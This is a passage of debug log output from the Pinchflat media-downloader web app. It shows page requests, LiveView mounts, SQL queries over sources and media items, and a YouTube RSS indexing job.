"_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "http://192.168.1.7:8945/assets/app-ec454b024a27f3bffb6e1a52ff1601c2.css?vsn=d", "1" => "http://192.168.1.7:8945/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 13:58:52.775 [debug] MOUNT PinchflatWeb.Sources.SourceLive.IndexTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "FIwpwKRJK-kaBzxqB-Lg8tXC", "initial_sort_direction" => :asc, "initial_sort_key" => :custom_name, "results_per_page" => 10} 13:58:52.783 [debug] QUERY OK source="sources" db=8.0ms idle=58.6ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 13:58:52.791 [debug] QUERY OK source="sources" db=7.4ms idle=66.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 13:58:52.792 [debug] Replied in 16ms 13:58:55.281 [info] GET /sources/1/edit 13:58:55.281 [debug] Processing with PinchflatWeb.Sources.SourceController.edit/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 13:58:55.282 [debug] QUERY OK source="sources" db=0.1ms idle=1506.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 13:58:55.282 [debug] QUERY OK source="media_profiles" db=0.2ms idle=1506.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 13:58:55.282 [debug] QUERY OK source="settings" db=0.0ms idle=939.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:58:55.282 [debug] QUERY OK source="settings" db=0.0ms idle=506.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:58:55.282 [debug] QUERY OK source="settings" db=0.0ms idle=507.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:58:55.283 [info] Sent 200 in 2ms 13:58:56.849 [info] {"source":"oban","duration":328,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:59:00.580 [info] {"source":"oban","duration":113,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:59:26.850 [info] {"source":"oban","duration":365,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:59:36.295 [info] GET / 13:59:36.295 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 13:59:36.295 [debug] QUERY OK source="settings" db=0.1ms idle=1519.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:59:36.296 [debug] QUERY OK source="media_profiles" db=0.6ms idle=1520.1ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 13:59:36.297 [debug] QUERY OK source="sources" db=0.4ms idle=1520.8ms SELECT count(s0."id") FROM "sources" AS s0 [] 13:59:36.298 [debug] QUERY OK source="media_items" db=0.7ms idle=1521.3ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 13:59:36.298 [debug] QUERY OK source="media_items" db=0.5ms idle=912.9ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 13:59:36.298 [debug] QUERY OK source="settings" db=0.0ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:59:36.299 [debug] QUERY OK source="settings" db=0.0ms idle=2.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:59:36.299 [debug] QUERY OK source="settings" db=0.0ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:59:36.300 [debug] QUERY OK source="media_items" db=0.2ms idle=1.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 13:59:36.300 [debug] QUERY OK source="media_items" db=0.4ms idle=1.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 13:59:36.301 [debug] QUERY OK source="sources" db=0.0ms idle=2.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [3, 1] 13:59:36.329 [debug] QUERY OK source="media_items" db=28.0ms idle=2.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 13:59:36.331 [debug] QUERY OK source="media_items" db=1.5ms idle=30.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 13:59:36.332 [debug] QUERY OK source="tasks" db=0.1ms idle=31.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 13:59:36.332 [info] Sent 200 in 37ms 13:59:36.351 [info] CONNECTED TO Phoenix.LiveView.Socket in 18µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "JwgxQgB8ADJmRVwMBBQpMjF6IQNvHxUcaAF2w7Rx-h7mFnQCsWmdWkM_", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "http://192.168.1.7:8945/assets/app-ec454b024a27f3bffb6e1a52ff1601c2.css?vsn=d", "1" => "http://192.168.1.7:8945/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 13:59:36.354 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "FIwpwKRJK-kaBzxqB-Lg8tXC", "media_state" => "downloaded"} 13:59:36.354 [debug] QUERY OK source="media_items" db=0.3ms idle=53.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 13:59:36.355 [debug] QUERY OK source="media_items" db=0.6ms idle=53.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 13:59:36.356 [debug] QUERY OK source="sources" db=0.3ms idle=25.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [3, 1] 13:59:36.356 [debug] Replied in 1ms 13:59:36.357 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "FIwpwKRJK-kaBzxqB-Lg8tXC", "media_state" => "pending"} 13:59:36.360 [debug] QUERY OK source="media_items" db=2.8ms idle=25.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 13:59:36.363 [debug] QUERY OK source="media_items" db=2.9ms idle=28.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 13:59:36.363 [debug] Replied in 6ms 13:59:36.364 [debug] MOUNT Pinchflat.Pages.JobTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "FIwpwKRJK-kaBzxqB-Lg8tXC"} 13:59:36.364 [debug] QUERY OK source="tasks" db=0.1ms idle=9.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 13:59:36.364 [debug] Replied in 528µs 13:59:56.851 [info] {"source":"oban","duration":498,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:00:00.582 [info] {"source":"oban","duration":111,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:00:26.852 [info] {"source":"oban","duration":449,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:00:45.463 [info] {"args":{"id":2},"id":660,"meta":{},"system_time":1784901645463101854,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 14:00:45.466 [debug] QUERY OK source="sources" db=3.0ms idle=1687.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 14:00:45.466 [debug] QUERY OK source="tasks" db=3.4ms idle=1009.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 14:00:45.467 [debug] QUERY OK source="settings" db=0.5ms idle=690.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:00:45.467 [debug] QUERY OK source="media_profiles" db=0.3ms idle=4.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:00:45.467 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:00:45.467 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 14:00:45.467 [debug] QUERY OK source="sources" db=0.8ms idle=10.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 14:00:45.584 [debug] Media ids fetched from RSS: ["FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 14:00:45.587 [debug] QUERY OK source="media_items" db=2.5ms idle=117.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 14:00:45.588 [debug] QUERY OK source="media_items" db=0.4ms idle=120.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", 